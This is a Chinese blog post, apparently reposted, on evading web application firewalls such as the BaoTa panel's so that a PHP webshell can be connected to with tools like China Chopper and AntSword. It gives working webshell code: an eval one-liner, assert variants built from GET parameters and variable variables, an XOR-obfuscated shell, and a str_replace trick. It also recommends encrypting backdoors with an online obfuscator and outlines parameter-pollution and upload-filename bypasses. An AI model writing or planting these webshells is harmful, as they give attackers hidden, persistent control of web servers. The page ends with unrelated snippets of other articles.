WAF攻防相关知识点总结2-代码免杀绕过

WAF的检测除了有对于非正常的流量检测外还对于非正常的数据包特征进行检测

以宝塔为例

在宝塔的后台可以放置一句话木马的文件

宝塔不会对于这个文件进行拦截,但是一旦我们使用菜刀蚁剑等webshell工具去进行连接的时候,数据报中有流量特征就会被拦截

经过检测可以知道是waf对于数据报中的关键字进行了检测

绕过思路

传参绕过:waf拦截使用的是正则表达式,匹配函数的关键字

绕过思路就是把关键字的函数代码以参数值的形式进行发送

一句话木门是<?php eval($_POST['x'])?>

1.使用参数传递进行绕过
<?php
$a=$_GET['a'];
$aa=$a.'ert';
$aa(base64_decode($_POST['x']));
?>

连接方式 ?a=ass

post: x=base64encode('后门代码')

绕过宝塔的后门代码

<?php
$a='b';
$b='assert';
$$a(base64_decode($_POST['x']));
?>
2.变量覆盖

可以再进行混淆

<?php
$a=$_GET['1'];
$b=$_GET['2'];
$$a($_POST['3']);
?>

连接方式1=b&2=assert

3.异或运算绕过

为了绕过waf的检测,我们可以使用异或运算来组成我们需要的后门代码。抑或运算的原理是使用两个特殊字符进行抑或获得我们需要的字符,这种一位异或使用的是特殊字符如$、@等等,如果waf采取的是字符过滤就很难拦截这种报文

举个例子

在php中我们使用!和@进行抑或即可以获得到字母a,这样的话就可以使用以异或运算绕过检测

<?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[$_]); ?>
4.代码后门加密(推荐使用)

使用加密平台加密我们的后门代码基本上可以实现通杀

PHP加密 - PHP在线加密平台 (phpjm.net)

加密代码的结果

这种在线的加密方式往往采用的是特殊的 秘钥进行加密,平台不知道秘钥的情况下就无法对于文件中的内容进行解密分析,判断其中是否有后门

5.参数污染

不的中间件解析我们传递参数的方式不同

我们可以根据中间件和waf结合的特性去向网站提交数据,如果网站接收的数据和waf拦截的方式不同,我们就可以将同一个参数提交两次,在waf拦击的地方传入合法的值,在网站接收的地方传入注入语句就可以绕过waf实现注入攻击,不过这种情况已经十分少见不常使用,作为知识补充

5.代理设置

我们在进行xss,SQL注入等等测试的时候为了找到漏洞点往往需要使用大量的的测试语句进行测试,为此我们在使用工具的时候需要配代理来绕过网站对于流量的检测从而达到我们的测试实验目的像sqlmap,xsstrike等工具都可以设置代理进行测试,使用时候查阅相关文档即可

6.其他的一些绕过手段

上传文件的时候可以使用同种类型的文件进行替代绕过检测,但是前提条件是后端支持相似文件后缀的解析,通过简单的访问就可以检测出是否支持,如果在这次,就会正常访问,如果不解析,就会出现下载等一系列其他的文件操作行为

操作系统自身的一些特点,例如文件名的结尾有点、空格等字符会自动被过滤但是代码检测的时候由于特殊字符干扰就可以绕过一些waf的检测

使用php中自带的replace函数,将代码中的关键字进替换从而绕过检测

txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);

换行绕过

我们可以将php后缀改为

php

的形式,后端代码在检测的时候会有换行符干扰从而绕过检测,不过大部分waf已经对于这种进行拦截,基本失效

不过这些方式大部分已经被waf修复,实战中利用价值不是很大,作为知识的积累和补充    

写在最后

如有错误,请及时指出,感谢

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/413562.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Elastic Stack 8.12:通过对 ES|QL 等的改进增强了向量搜索

作者&#xff1a;来自 Elastic Tyler Perkins, Shani Sagiv, Gilad Gal, Ninoslav Miskovic Elastic Stack 8.12 构建于 Apache Lucene 9.9&#xff08;有史以来最快的 Lucene 版本&#xff09;之上&#xff0c;基于我们对标量量化和搜索并发性的贡献&#xff0c;为文本、向量和…

机器学习(一)—— 简介

参考书籍《机器学习和深度学习&#xff1a;原理、算法、实战》 文章目录 1 工业界流行的机器学习算法2 机器学习3 深度学习4 预备知识5 监督学习与无监督学习 1 工业界流行的机器学习算法 线型回归逻辑回归决策树随机森林梯度提升机人工神经网络卷积神经网络循环神经网络贝叶…

HTTP/HTTPS代理IP在多线程爬虫项目中的实践

在多线程爬虫项目中&#xff0c;HTTP/HTTPS代理IP的实践主要包括以下几个关键步骤&#xff1a; 1. 收集代理IP资源&#xff1a; - 从免费或付费代理IP提供商、公开代理列表网站&#xff08;如西刺代理、无忧代理等&#xff09;抓取代理IP和端口信息。 - 存储这些IP到数据库或者…

开发GPT的应用程序流程

开发一个基于GPT的应用程序&#xff08;GPT APP&#xff09;涉及到与GPT模型的集成&#xff0c;用户界面设计&#xff0c;以及应用程序的功能实现。以下是一个一般的开发流程&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&…

苹果Find My可查找添加32件物品,伦茨科技ST17H6x芯片加速产品赋能

苹果最近更新的支持文档证实&#xff0c;从 iOS 16 开始&#xff0c;"Find My"可查找添加物品从16件增加到32件&#xff0c;AirTag 和“查找”网络中的物品利用“查找”网络的强大功能来发挥作用&#xff0c;这个网络由数亿台加密的匿名 Apple 设备构成。“查找”网络…

Spark基础学习--基础介绍

1. Spark基本介绍 1.1 定义 Spark是可以处理大规模数据的统一分布式计算引擎。 1.2 Spark与MapReduce的对比 在之前我们学习过MapReduce&#xff0c;同样作为大数据分布式计算引擎&#xff0c;究竟这两者有什么区别呢&#xff1f; 首先我们回顾一下MapReduce的架构&#xf…

【VTKExamples::Filtering】第一期 TestContoursFromPolyData

很高兴在雪易的CSDN遇见你 VTK技术爱好者 QQ:870202403 前言 本文分享VTK样例TestContoursFromPolyData,并解析vtkCutter,希望对各位小伙伴有所帮助! 感谢各位小伙伴的点赞+关注,小易会继续努力分享,一起进步! 你的点赞就是我的动力(^U^)ノ~YO 1. TestContour…

前后端跨域问题解决

前后端跨域问题解决 一、前端解决跨域问题 找到以下文件 编写以下代码 const { defineConfig } require(vue/cli-service) module.exports defineConfig({transpileDependencies: true,devServer: {//是否自动打开浏览器open: true,//修改默认8080端口号port: 8087,//跨域…

whale-quant 学习 part1:投资与量化投资

投资与量化投资 什么是投资投资的分类金融投资个人投资者投资品种投资-投机 常见的股票投资分析流派什么是量化投资量化投资的优势量化投资的主要风险 量化投资的历史发展**量化投资的一般流程常见量化投资平台参考 什么是投资 从经济学的广泛意义上讲&#xff0c;投资是为了获…

Win10下在Qt项目中配置SQlite3环境

资源下载 官网资源&#xff1a;SQLite Download Page 1、sqlite.h sqlite-amalgamation-3450000.zip (2.60 MiB) 2、sqlite3.def&#xff0c;sqlite3.dll sqlite-dll-win-x64-3450000.zip (1.25 MiB) 3、 win10下安装sqlite3所需要文件 sqlite-tools-win-x64-3450000.zipht…

【单片机】改写DS2431芯片的地址码,地址ROM,DS2431芯片解密

对DS2431里面的128字节可以进行任意读写&#xff0c;方式可以看这里&#xff1a;https://blog.csdn.net/x1131230123/article/details/132248958 但DS2431芯片的地址码是光刻不可修改的&#xff0c;所以只有使用模拟芯片。 原理&#xff1a; https://www.dianyuan.com/article…

el-date-picker默认结束为当前时分秒

在element ui中的日期时间选择组件中默认是00:00,现在需求是点击默认结束时间为当前时分秒&#xff0c;查了很多资料写的都不准确 需求&#xff1a;实现日期时间组件可选择当前日期&#xff0c;比如当前是2024年01月17号下午17&#xff1a;21 那选中时必须结束时间为17&#x…